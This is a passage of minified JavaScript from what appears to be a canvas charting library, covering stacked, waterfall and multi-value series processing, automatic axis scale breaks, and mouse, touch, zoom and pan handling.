this.options.axisX.minimum:-Infinity,t=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(q.dataPoints[n].x&&q.dataPoints[n].x.getTime
||"dateTime"===q.xValueType)g=!0;for(n=0;n<q.dataPoints.length;n++)
{"undefined"===typeof q.dataPoints[n].x&&(q.dataPoints[n].x=n+(a.axisX.logarithmic?
1:0));q.dataPoints[n].x.getTime?(g=!
0,c=q.dataPoints[n].x.getTime()):c=q.dataPoints[n].x;e=u(q.dataPoints[n].y)?
0:q.dataPoints[n].y;c<b.min&&(b.min=c);c>b.max&&(b.max=c);if(0<n)
{if(a.axisX.logarithmic){var r=c/q.dataPoints[n-1].x;1>r&&(r=1/r);b.minDiff>r&&1!
==r&&(b.minDiff=
r)}else r=c-q.dataPoints[n-1].x,0>r&&(r*=-1),b.minDiff>r&&0!
==r&&(b.minDiff=r);null!==e&&null!==q.dataPoints[n-1].y&&(a.axisY.logarithmic?
0<e&&(r=e/q.dataPoints[n-1].y,1>r&&(r=1/r),d.minDiff>r&&1!==r&&(d.minDiff=r)):(r=e-
q.dataPoints[n-1].y,0>r&&(r*=-1),d.minDiff>r&&0!==r&&(d.minDiff=r)))}if(c<p&&!
f)null!==q.dataPoints[n].y&&(h=c);else{if(!f&&(f=!0,0<n)){n-=2;continue}if(c>t&&!
B)B=!0;else
if(c>t&&B)continue;q.dataPoints[n].label&&(a.axisX.labels[c]=q.dataPoints[n].label)
;c<b.viewPortMin&&(b.viewPortMin=
c);c>b.viewPortMax&&(b.viewPortMax=c);null===q.dataPoints[n].y?
b.viewPortMin===c&&h<c&&(b.viewPortMin=h):(a.yTotals[c]=(a.yTotals[c]?
a.yTotals[c]:0)+e,0<=e?k[c]?k[c]+=e:(k[c]=e,w=Math.min(e,w)):l[c]?l[c]+=e:
(l[c]=e,m=Math.max(e,m)))}}a.axisY.scaleBreaks&&(a.axisY.scaleBreaks.autoCalculate&
&1<=a.axisY.scaleBreaks.maxNumberOfAutoBreaks)&&(d.dataPointYPositiveSums?
(d.dataPointYPositiveSums.push.apply(d.dataPointYPositiveSums,k),d.dataPointYNegati
veSums.push.apply(d.dataPointYPositiveSums,l)):(d.dataPointYPositiveSums=
k,d.dataPointYNegativeSums=l));q.axisX.valueType=q.xValueType=g?"dateTime":"number"
}for(n in k)k.hasOwnProperty(n)&&!
isNaN(n)&&(a=k[n],a<d.min&&(d.min=Math.min(a,w)),a>d.max&&(d.max=a),n<b.viewPortMin
||n>b.viewPortMax||
(a<d.viewPortMin&&(d.viewPortMin=Math.min(a,w)),a>d.viewPortMax&&(d.viewPortMax=a))
);for(n in l)l.hasOwnProperty(n)&&!
isNaN(n)&&(a=l[n],a<d.min&&(d.min=a),a>d.max&&(d.max=Math.max(a,m)),n<b.viewPortMin
||n>b.viewPortMax||
(a<d.viewPortMin&&(d.viewPortMin=a),a>d.viewPortMax&&(d.viewPortMax=
Math.max(a,m))))}};p.prototype._processStacked100PlotUnit=function(a)
{if(a.dataSeriesIndexes&&!(1>a.dataSeriesIndexes.length)){for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=!1,l=!
1,w=[],m=0;m<a.dataSeriesIndexes.length;m++){var
s=this.data[a.dataSeriesIndexes[m]],q=0,n=!1,f=!
1,B;if("normal"===s.axisPlacement||"xySwapped"===s.axisPlacement)var
h=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:-Infinity,r=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(s.dataPoints[q].x&&s.dataPoints[q].x.getTime
||"dateTime"===s.xValueType)g=!0;for(q=0;q<s.dataPoints.length;q++){"undefined"===
typeof s.dataPoints[q].x&&(s.dataPoints[q].x=q+(a.axisX.logarithmic?
1:0));s.dataPoints[q].x.getTime?(g=!
0,c=s.dataPoints[q].x.getTime()):c=s.dataPoints[q].x;e=u(s.dataPoints[q].y)?
null:s.dataPoints[q].y;c<b.min&&(b.min=c);c>b.max&&(b.max=c);if(0<q)
{if(a.axisX.logarithmic){var t=c/s.dataPoints[q-1].x;1>t&&(t=1/t);b.minDiff>t&&1!
==t&&(b.minDiff=t)}else t=c-s.dataPoints[q-1].x,0>t&&(t*=-1),b.minDiff>t&&0!
==t&&(b.minDiff=t);u(e)||null===s.dataPoints[q-1].y||(a.axisY.logarithmic?
0<e&&(t=e/s.dataPoints[q-
1].y,1>t&&(t=1/t),d.minDiff>t&&1!==t&&(d.minDiff=t)):(t=e-s.dataPoints[q-
1].y,0>t&&(t*=-1),d.minDiff>t&&0!==t&&(d.minDiff=t)))}if(c<h&&!n)null!
==e&&(B=c);else{if(!n&&(n=!0,0<q)){q-=2;continue}if(c>r&&!f)f=!0;else
if(c>r&&f)continue;s.dataPoints[q].label&&(a.axisX.labels[c]=s.dataPoints[q].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);null===e?
b.viewPortMin===c&&B<c&&(b.viewPortMin=B):(a.yTotals[c]=(a.yTotals[c]?
a.yTotals[c]:0)+e,0<=e?k=!0:0>e&&(l=!0),w[c]=w[c]?w[c]+
Math.abs(e):Math.abs(e))}}s.axisX.valueType=s.xValueType=g?"dateTime":"number"}a.ax
isY.logarithmic?(d.max=u(d.viewPortMax)?99*Math.pow(a.axisY.logarithmBase,-
0.05):Math.max(d.viewPortMax,99*Math.pow(a.axisY.logarithmBase,-
0.05)),d.min=u(d.viewPortMin)?1:Math.min(d.viewPortMin,1)):k&&!l?
(d.max=u(d.viewPortMax)?99:Math.max(d.viewPortMax,99),d.min=u(d.viewPortMin)?
1:Math.min(d.viewPortMin,1)):k&&l?(d.max=u(d.viewPortMax)?
99:Math.max(d.viewPortMax,99),d.min=u(d.viewPortMin)?-99:Math.min(d.viewPortMin,
-99)):!k&&l&&(d.max=u(d.viewPortMax)?-1:Math.max(d.viewPortMax,-
1),d.min=u(d.viewPortMin)?-99:Math.min(d.viewPortMin,-
99));d.viewPortMin=d.min;d.viewPortMax=d.max;a.dataPointYSums=w}};p.prototype._proc
essMultiYPlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g,k,l=!
1,w=0;w<a.dataSeriesIndexes.length;w++){var
m=this.data[a.dataSeriesIndexes[w]],s=0,q=!1,n=!
1,f,B,h;if("normal"===m.axisPlacement||"xySwapped"===m.axisPlacement)var r=
a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,t=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(m.dataPoints[s].x&&m.dataPoints[s].x.getTime
||"dateTime"===m.xValueType)l=!0;for(s=0;s<m.dataPoints.length;s++)
{"undefined"===typeof m.dataPoints[s].x&&(m.dataPoints[s].x=s+(a.axisX.logarithmic?
1:0));m.dataPoints[s].x.getTime?(l=!
0,c=m.dataPoints[s].x.getTime()):c=m.dataPoints[s].x;if((e=m.dataPoints[s].y)&&e.le
ngth){g=Math.min.apply(null,e);k=Math.max.apply(null,e);B=!0;for(var
p=0;p<e.length;p++)null===e.k&&(B=!1);B&&(q||
(h=f),f=c)}c<b.min&&(b.min=c);c>b.max&&
(b.max=c);g<d.min&&(d.min=g);k>d.max&&(d.max=k);0<s&&(a.axisX.logarithmic?
(B=c/m.dataPoints[s-1].x,1>B&&(B=1/B),b.minDiff>B&&1!==B&&(b.minDiff=B)):(B=c-
m.dataPoints[s-1].x,0>B&&(B*=-1),b.minDiff>B&&0!==B&&(b.minDiff=B)),e&&(null!
==e[0]&&m.dataPoints[s-1].y&&null!==m.dataPoints[s-1].y[0])&&(a.axisY.logarithmic?
(B=e[0]/m.dataPoints[s-1].y[0],1>B&&(B=1/B),d.minDiff>B&&1!==B&&(d.minDiff=B)):
(B=e[0]-m.dataPoints[s-1].y[0],0>B&&(B*=-1),d.minDiff>B&&0!
==B&&(d.minDiff=B))));if(!(c<r)||q){if(!q&&(q=!0,0<s)){s-=
2;f=h;continue}if(c>t&&!n)n=!0;else
if(c>t&&n)continue;m.dataPoints[s].label&&(a.axisX.labels[c]=m.dataPoints[s].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);if(b.viewPor
tMin===c&&e)for(p=0;p<e.length;p++)if(null===e[p]&&f<c)
{b.viewPortMin=f;break}null===e?b.viewPortMin===c&&f<c&&(b.viewPortMin=f):
(g<d.viewPortMin&&(d.viewPortMin=g),k>d.viewPortMax&&(d.viewPortMax=k))}}m.axisX.va
lueType=m.xValueType=l?"dateTime":"number"}};p.prototype._processSpecificPlotUnit=f
unction(a){if("waterfall"===
a.type&&a.dataSeriesIndexes&&!(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=0;k<a.dataSeriesIndexes.length;k+
+){var l=this.data[a.dataSeriesIndexes[k]],w=0,m=!1,s=!
1,q=c=0;if("normal"===l.axisPlacement||"xySwapped"===l.axisPlacement)var
n=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,f=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(l.dataPoints[w].x&&l.dataPoints[w].x.getTime
||"dateTime"===l.xValueType)g=!0;for(w=0;w<l.dataPoints.length;w++)"undefined"!
==typeof l.dataPoints[w].isCumulativeSum&&!0===l.dataPoints[w].isCumulativeSum?
(l.dataPointEOs[w].cumulativeSumYStartValue=0,l.dataPointEOs[w].cumulativeSum=0===w
?0:l.dataPointEOs[w-1].cumulativeSum,l.dataPoints[w].y=0===w?0:l.dataPointEOs[w-
1].cumulativeSum):"undefined"!==typeof l.dataPoints[w].isIntermediateSum&&!
0===l.dataPoints[w].isIntermediateSum?
(l.dataPointEOs[w].cumulativeSumYStartValue=q,l.dataPointEOs[w].cumulativeSum=0===w
?0:l.dataPointEOs[w-1].cumulativeSum,l.dataPoints[w].y=0===w?0:c,q=0===w?
0:l.dataPointEOs[w-1].cumulativeSum,c=0):(e="number"!==typeof l.dataPoints[w].y?
0:l.dataPoints[w].y,l.dataPointEOs[w].cumulativeSumYStartValue=0===w?
0:l.dataPointEOs[w-1].cumulativeSum,l.dataPointEOs[w].cumulativeSum=0===w?
e:l.dataPointEOs[w-1].cumulativeSum+e,c+=e);for(w=0;w<l.dataPoints.length;w+
+)if("undefined"===typeof l.dataPoints[w].x&&(l.dataPoints[w].x=w+
(a.axisX.logarithmic?1:0)),l.dataPoints[w].x.getTime?(g=!
0,c=l.dataPoints[w].x.getTime()):c=l.dataPoints[w].x,e=l.dataPoints[w].y,c<b.min&&(
b.min=c),c>b.max&&(b.max=c),l.dataPointEOs[w].cumulativeSum<d.min&&(d.min=l.dataPoi
ntEOs[w].cumulativeSum),
l.dataPointEOs[w].cumulativeSum>d.max&&(d.max=l.dataPointEOs[w].cumulativeSum),0<w&
&(a.axisX.logarithmic?(q=c/l.dataPoints[w-1].x,1>q&&(q=1/q),b.minDiff>q&&1!
==q&&(b.minDiff=q)):(q=c-l.dataPoints[w-1].x,0>q&&(q*=-1),b.minDiff>q&&0!
==q&&(b.minDiff=q)),null!==e&&null!==l.dataPoints[w-1].y&&(a.axisY.logarithmic?
(e=l.dataPointEOs[w].cumulativeSum/l.dataPointEOs[w-
1].cumulativeSum,1>e&&(e=1/e),d.minDiff>e&&1!==e&&(d.minDiff=e)):
(e=l.dataPointEOs[w].cumulativeSum-l.dataPointEOs[w-1].cumulativeSum,0>e&&
(e*=-1),d.minDiff>e&&0!==e&&(d.minDiff=e)))),!(c<n)||m){if(!m&&(m=!0,0<w)){w-
=2;continue}if(c>f&&!s)s=!0;else
if(c>f&&s)continue;l.dataPoints[w].label&&(a.axisX.labels[c]=l.dataPoints[w].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);0<w&&(l.data
PointEOs[w-1].cumulativeSum<d.viewPortMin&&(d.viewPortMin=l.dataPointEOs[w-
1].cumulativeSum),l.dataPointEOs[w-
1].cumulativeSum>d.viewPortMax&&(d.viewPortMax=l.dataPointEOs[w-
1].cumulativeSum));l.dataPointEOs[w].cumulativeSum<
d.viewPortMin&&(d.viewPortMin=l.dataPointEOs[w].cumulativeSum);l.dataPointEOs[w].cu
mulativeSum>d.viewPortMax&&(d.viewPortMax=l.dataPointEOs[w].cumulativeSum)}l.axisX.
valueType=l.xValueType=g?"dateTime":"number"}};p.prototype.calculateAutoBreaks=func
tion(){function a(a,c,b,e){if(e)return
b=Math.pow(Math.min(b*a/c,c/a),0.2),1>=b&&(b=Math.pow(1>a?
1/a:Math.min(c/a,a),0.25)),{startValue:a*b,endValue:c/b};b=0.2*Math.min(b-c+a,c-
a);0>=b&&(b=0.25*Math.min(c-a,Math.abs(a)));return{startValue:a+b,endValue:c-
b}}function d(a){if(a.dataSeriesIndexes&&!(1>a.dataSeriesIndexes.length)){var
c=a.axisX.scaleBreaks&&a.axisX.scaleBreaks.autoCalculate&&1<=a.axisX.scaleBreaks.ma
xNumberOfAutoBreaks,b=a.axisY.scaleBreaks&&a.axisY.scaleBreaks.autoCalculate&&1<=a.
axisY.scaleBreaks.maxNumberOfAutoBreaks;if(c||b)for(var
d=a.axisY.dataInfo,f=a.axisX.dataInfo,g,m=f.min,l=f.max,k=d.min,n=d.max,f=f._dataRa
nges,d=d._dataRanges,q,w=0,s=0;s<a.dataSeriesIndexes.length;s++){var
h=e.data[a.dataSeriesIndexes[s]];if(!(4>h.dataPoints.length))for(w=
0;w<h.dataPoints.length;w++)if(c&&(q=(l+1-
m)*Math.max(parseFloat(a.axisX.scaleBreaks.collapsibleThreshold)||
10,10)/100,g=h.dataPoints[w].x.getTime?
h.dataPoints[w].x.getTime():h.dataPoints[w].x,q=Math.floor((g-
m)/q),g<f[q].min&&(f[q].min=g),g>f[q].max&&(f[q].max=g)),b){var r=(n+1-
k)*Math.max(parseFloat(a.axisY.scaleBreaks.collapsibleThreshold)||
10,10)/100;if((g="waterfall"===a.type?
h.dataPointEOs[w].cumulativeSum:h.dataPoints[w].y)&&g.length)for(var
p=0;p<g.length;p++)q=Math.floor((g[p]-k)/r),g[p]<
d[q].min&&(d[q].min=g[p]),g[p]>d[q].max&&(d[q].max=g[p]);else u(g)||
(q=Math.floor((g-
k)/r),g<d[q].min&&(d[q].min=g),g>d[q].max&&(d[q].max=g))}}}}function b(a)
{if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length)&&a.axisX.scaleBreaks&&a.axisX.scaleBreaks.autoCalcul
ate&&1<=a.axisX.scaleBreaks.maxNumberOfAutoBreaks)for(var
c=a.axisX.dataInfo,b=c.min,d=c.max,f=c._dataRanges,g,m=0,l=0;l<a.dataSeriesIndexes.
length;l++){var k=e.data[a.dataSeriesIndexes[l]];if(!
(4>k.dataPoints.length))for(m=0;m<k.dataPoints.length;m++)g=
(d+1-b)*Math.max(parseFloat(a.axisX.scaleBreaks.collapsibleThreshold)||
10,10)/100,c=k.dataPoints[m].x.getTime?
k.dataPoints[m].x.getTime():k.dataPoints[m].x,g=Math.floor((c-
b)/g),c<f[g].min&&(f[g].min=c),c>f[g].max&&(f[g].max=c)}}for(var c,e=this,g=!
1,k=0;k<this._axes.length;k+
+)if(this._axes[k].scaleBreaks&&this._axes[k].scaleBreaks.autoCalculate&&1<=this._a
xes[k].scaleBreaks.maxNumberOfAutoBreaks){g=!
0;this._axes[k].dataInfo._dataRanges=[];for(var
l=0;l<100/Math.max(parseFloat(this._axes[k].scaleBreaks.collapsibleThreshold)||
10,10);l++)this._axes[k].dataInfo._dataRanges.push({min:Infinity,max:-
Infinity})}if(g){for(k=0;k<this.plotInfo.plotTypes.length;k+
+)for(g=this.plotInfo.plotTypes[k],l=0;l<g.plotUnits.length;l+
+)c=g.plotUnits[l],"line"===c.type||"stepLine"===c.type||"spline"===c.type||"column
"===c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"bar"===c.
type||"bubble"===c.type||"scatter"===c.type||"candlestick"===c.type||"ohlc"===c.typ
e||"rangeColumn"===c.type||"rangeBar"===c.type||"rangeArea"===
c.type||"rangeSplineArea"===c.type||"waterfall"===c.type||"error"===c.type||"boxAnd
Whisker"===c.type?
d(c):0<=c.type.indexOf("stacked")&&b(c);for(k=0;k<this._axes.length;k+
+)if(this._axes[k].dataInfo._dataRanges){var
w=this._axes[k].dataInfo.min;c=(this._axes[k].dataInfo.max+1-
w)*Math.max(parseFloat(this._axes[k].scaleBreaks.collapsibleThreshold)||
10,10)/100;var
m=this._axes[k].dataInfo._dataRanges,s,q,g=[];if(this._axes[k].dataInfo.dataPointYP
ositiveSums){var n=this._axes[k].dataInfo.dataPointYPositiveSums;
s=m;for(l in n)if(n.hasOwnProperty(l)&&!isNaN(l)&&(q=n[l],!u(q))){var
f=Math.floor((q-w)/c);q<s[f].min&&(s[f].min=q);q>s[f].max&&(s[f].max=q)}delete
this._axes[k].dataInfo.dataPointYPositiveSums}if(this._axes[k].dataInfo.dataPointYN
egativeSums){n=this._axes[k].dataInfo.dataPointYNegativeSums;s=m;for(l in
n)n.hasOwnProperty(l)&&!isNaN(l)&&(q=-1*n[l],u(q)||(f=Math.floor((q-
w)/c),q<s[f].min&&(s[f].min=q),q>s[f].max&&(s[f].max=q)));delete
this._axes[k].dataInfo.dataPointYNegativeSums}for(l=0;l<m.length-
1;l++)if(s=m[l].max,isFinite(s))for(;l<m.length-1;)if(w=m[l+1].min,isFinite(w))
{q=w-s;q>c&&g.push({diff:q,start:s,end:w});break}else l+
+;if(this._axes[k].scaleBreaks.customBreaks)for(l=0;l<this._axes[k].scaleBreaks.cus
tomBreaks.length;l++)for(c=0;c<g.length;c+
+)if(this._axes[k].scaleBreaks.customBreaks[l].startValue<=g[c].start&&g[c].start<=
this._axes[k].scaleBreaks.customBreaks[l].endValue||
this._axes[k].scaleBreaks.customBreaks[l].startValue<=g[c].start&&g[c].start<=this.
_axes[k].scaleBreaks.customBreaks[l].endValue||
g[c].start<=this._axes[k].scaleBreaks.customBreaks[l].startValue&&this._axes[k].sca
leBreaks.customBreaks[l].startValue<=g[c].end||
g[c].start<=this._axes[k].scaleBreaks.customBreaks[l].endValue&&this._axes[k].scale
Breaks.customBreaks[l].endValue<=g[c].end)g.splice(c,1),c--;g.sort(function(a,c)
{return c.diff-
a.diff});for(l=0;l<Math.min(g.length,this._axes[k].scaleBreaks.maxNumberOfAutoBreak
s);l++)c=a(g[l].start,g[l].end,this._axes[k].logarithmic?
this._axes[k].dataInfo.max/this._axes[k].dataInfo.min:
this._axes[k].dataInfo.max-
this._axes[k].dataInfo.min,this._axes[k].logarithmic),this._axes[k].scaleBreaks.aut
oBreaks.push(new L(this,"autoBreaks",c,l,+
+this._eventManager.lastObjectId,this._axes[k].scaleBreaks)),this._axes[k].scaleBre
aks._appliedBreaks.push(this._axes[k].scaleBreaks.autoBreaks[this._axes[k].scaleBre
aks.autoBreaks.length-
1]);this._axes[k].scaleBreaks._appliedBreaks.sort(function(a,c){return
a.startValue-c.startValue})}}};p.prototype.getDataPointAtXY=function(a,d,b){b=b||!
1;for(var c=
[],e=this._dataInRenderedOrder.length-1;0<=e;e--){var g=null;
(g=this._dataInRenderedOrder[e].getDataPointAtXY(a,d,b))&&c.push(g)}a=null;d=!
1;for(b=0;b<c.length;b+
+)if("line"===c[b].dataSeries.type||"stepLine"===c[b].dataSeries.type||"area"===c[b
].dataSeries.type||"stepArea"===c[b].dataSeries.type)if(e=na("markerSize",c[b].data
Point,c[b].dataSeries)||8,c[b].distance<=e/2){d=!0;break}for(b=0;b<c.length;b+
+)d&&"line"!==c[b].dataSeries.type&&"stepLine"!==c[b].dataSeries.type&&"area"!
==c[b].dataSeries.type&&
"stepArea"!==c[b].dataSeries.type||(a?
c[b].distance<=a.distance&&(a=c[b]):a=c[b]);return
a};p.prototype.getObjectAtXY=function(a,d,b){var
c=null;if(b=this.getDataPointAtXY(a,d,b||!
1))c=b.dataSeries.dataPointIds[b.dataPointIndex];else
if(r)c=ab(a,d,this._eventManager.ghostCtx);else
for(b=0;b<this.legend.items.length;b++){var
e=this.legend.items[b];a>=e.x1&&(a<=e.x2&&d>=e.y1&&d<=e.y2)&&(c=e.id)}return
c};p.prototype.getAutoFontSize=lb;p.prototype.resetOverlayedCanvas=function()
{this.overlaidCanvasCtx.clearRect(0,
0,this.width,this.height)};p.prototype.clearCanvas=kb;p.prototype.attachEvent=funct
ion(a){this._events.push(a)};p.prototype._touchEventHandler=function(a)
{if(a.changedTouches&&this.interactivityEnabled){var d=[],b=a.changedTouches,c=b?
b[0]:a,e=null;switch(a.type){case "touchstart":case
"MSPointerDown":d=["mousemove","mousedown"];this._lastTouchData=Ra(c);this._lastTou
chData.time=new Date;break;case "touchmove":case
"MSPointerMove":d=["mousemove"];break;case "touchend":case "MSPointerUp":var
g=this._lastTouchData&&
this._lastTouchData.time?new Date-
this._lastTouchData.time:0,d="touchstart"===this._lastTouchEventType||"MSPointerDow
n"===this._lastTouchEventType||300>g?["mouseup","click"]:
["mouseup"];break;default:return}if(!(b&&1<b.length)){e=Ra(c);e.time=new
Date;try{var k=e.y-this._lastTouchData.y,g=e.time-
this._lastTouchData.time;if(1<Math.abs(k)&&this._lastTouchData.scroll||
5<Math.abs(k)&&250>g)this._lastTouchData.scroll=!0}catch(l)
{}this._lastTouchEventType=a.type;if(this._lastTouchData.scroll&&this.zoomEnabled)t
his.isDrag&&
this.resetOverlayedCanvas(),this.isDrag=!1;else for(b=0;b<d.length;b+
+)if(e=d[b],k=document.createEvent("MouseEvent"),k.initMouseEvent(e,!0,!
0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!
1,0,null),c.target.dispatchEvent(k),!u(this._lastTouchData.scroll)&&!
this._lastTouchData.scroll||!
this._lastTouchData.scroll&&250<g||"click"===e)a.preventManipulation&&a.preventMani
pulation(),a.preventDefault&&a.preventDefault()}}};p.prototype._dispatchRangeEvent=
function(a,d){var b={chart:this};b.type=
a;b.trigger=d;var
c=[];this.axisX&&0<this.axisX.length&&c.push("axisX");this.axisX2&&0<this.axisX2.le
ngth&&c.push("axisX2");this.axisY&&0<this.axisY.length&&c.push("axisY");this.axisY2
&&0<this.axisY2.length&&c.push("axisY2");for(var e=0;e<c.length;e+
+)if(u(b[c[e]])&&(b[c[e]]=[]),"axisY"===c[e])for(var g=0;g<this.axisY.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else if("axisY2"===c[e])for(g=
0;g<this.axisY2.length;g++)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else
if("axisX"===c[e])for(g=0;g<this.axisX.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else
if("axisX2"===c[e])for(g=0;g<this.axisX2.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]][g].sessionVariables.newViewportMinimum,
viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});this.dispatchEvent(a,b,this)};p.prototype
._mouseEventHandler=function(a){"undefined"===typeof
a.target&&a.srcElement&&(a.target=a.srcElement);var d=Ra(a),b=a.type,c,e;a.which?
e=3==a.which:a.button&&(e=2==a.button);p.capturedEventParam&&(c=p.capturedEventPara
m,"mouseup"===b&&(p.capturedEventParam=null,c.chart.overlaidCanvas.releaseCapture?
c.chart.overlaidCanvas.releaseCapture():document.documentElement.removeEventListene
r("mouseup",
c.chart._mouseEventHandler,!1)),c.hasOwnProperty(b)&&("mouseup"!==b||
c.chart.overlaidCanvas.releaseCapture?a.target!==c.chart.overlaidCanvas&&r||
c[b].call(c.context,d.x,d.y):a.target!==c.chart.overlaidCanvas&&(c.chart.isDrag=!
1)));if(this.interactivityEnabled)if(this._ignoreNextEvent)this._ignoreNextEvent=!
1;else
if(a.preventManipulation&&a.preventManipulation(),a.preventDefault&&a.preventDefaul
t(),Ja&&window.console&&(window.console.log(b+" --\x3e x: "+d.x+";
y:"+d.y),e&&window.console.log(a.which),
"mouseup"===b&&window.console.log("mouseup")),!e){if(!
p.capturedEventParam&&this._events){for(var g=0;g<this._events.length;g+
+)if(this._events[g].hasOwnProperty(b))if(c=this._events[g],e=c.bounds,d.x>=e.x1&&d
.x<=e.x2&&d.y>=e.y1&&d.y<=e.y2){c[b].call(c.context,d.x,d.y);"mousedown"===b&&!
0===c.capture?(p.capturedEventParam=c,this.overlaidCanvas.setCapture?
this.overlaidCanvas.setCapture():document.documentElement.addEventListener("mouseup
",this._mouseEventHandler,!
1)):"mouseup"===b&&(c.chart.overlaidCanvas.releaseCapture?
c.chart.overlaidCanvas.releaseCapture():document.documentElement.removeEventListene
r("mouseup",this._mouseEventHandler,!1));break}else
c=null;a.target.style.cursor=c&&c.cursor?
c.cursor:this._defaultCursor}b=this.plotArea;if(d.x<b.x1||d.x>b.x2||d.y<b.y1||
d.y>b.y2)this.toolTip&&this.toolTip.enabled?
this.toolTip.hide():this.resetOverlayedCanvas();this.isDrag&&this.zoomEnabled||!
this._eventManager||
this._eventManager.mouseEventHandler(a)}};p.prototype._plotAreaMouseDown=function(a
,d){this.isDrag=!0;this.dragStartPoint=
{x:a,y:d}};p.prototype._plotAreaMouseUp=function(a,d)
{if(("normal"===this.plotInfo.axisPlacement||"xySwapped"===this.plotInfo.axisPlacem
ent)&&this.isDrag){var b=d-this.dragStartPoint.y,c=a-
this.dragStartPoint.x,e=0<=this.zoomType.indexOf("x"),g=0<=this.zoomType.indexOf("y
"),k=!
1;this.resetOverlayedCanvas();if("xySwapped"===this.plotInfo.axisPlacement)var
l=g,g=e,e=l;if(this.panEnabled||this.zoomEnabled)
{if(this.panEnabled)for(e=g=0;e<this._axes.length;e+
+)b=this._axes[e],b.logarithmic?b.viewportMinimum<
b.minimum?
(g=b.minimum/b.viewportMinimum,b.sessionVariables.newViewportMinimum=b.viewportMini
mum*g,b.sessionVariables.newViewportMaximum=b.viewportMaximum*g,k=!
0):b.viewportMaximum>b.maximum&&(g=b.viewportMaximum/b.maximum,b.sessionVariables.n
ewViewportMinimum=b.viewportMinimum/g,b.sessionVariables.newViewportMaximum=b.viewp
ortMaximum/g,k=!0):b.viewportMinimum<b.minimum?(g=b.minimum-
b.viewportMinimum,b.sessionVariables.newViewportMinimum=b.viewportMinimum+g,b.sessi
onVariables.newViewportMaximum=b.viewportMaximum+
g,k=!0):b.viewportMaximum>b.maximum&&(g=b.viewportMaximum-
b.maximum,b.sessionVariables.newViewportMinimum=b.viewportMinimum-
g,b.sessionVariables.newViewportMaximum=b.viewportMaximum-g,k=!0);else if((!e||
2<Math.abs(c))&&(!g||2<Math.abs(b))&&this.zoomEnabled){if(!
this.dragStartPoint)return;b=e?this.dragStartPoint.x:this.plotArea.x1;c=g?
this.dragStartPoint.y:this.plotArea.y1;e=e?a:this.plotArea.x2;g=g?
d:this.plotArea.y2;2<Math.abs(b-e)&&2<Math.abs(c-
g)&&this._zoomPanToSelectedRegion(b,c,e,g)&&(k=!0)}k&&
(this._ignoreNextEvent=!
0,this._dispatchRangeEvent("rangeChanging","zoom"),this.render(),this._dispatchRang
eEvent("rangeChanged","zoom"),k&&(this.zoomEnabled&&"none"===this._zoomButton.style
.display)&&(Qa(this._zoomButton,this._resetButton),ua(this,this._zoomButton,"pan"),
ua(this,this._resetButton,"reset")))}}this.isDrag=!1;if("none"!
==this.plotInfo.axisPlacement)
{this.resetOverlayedCanvas();if(this.axisX&&0<this.axisX.length)for(k=0;k<this.axis
X.length;k++)this.axisX[k].crosshair&&this.axisX[k].crosshair.enabled&&
this.axisX[k].renderCrosshair(a,d);if(this.axisX2&&0<this.axisX2.length)for(k=0;k<t
his.axisX2.length;k+
+)this.axisX2[k].crosshair&&this.axisX2[k].crosshair.enabled&&this.axisX2[k].render
Crosshair(a,d);if(this.axisY&&0<this.axisY.length)for(k=0;k<this.axisY.length;k+
+)this.axisY[k].crosshair&&this.axisY[k].crosshair.enabled&&this.axisY[k].renderCro
sshair(a,d);if(this.axisY2&&0<this.axisY2.length)for(k=0;k<this.axisY2.length;k+
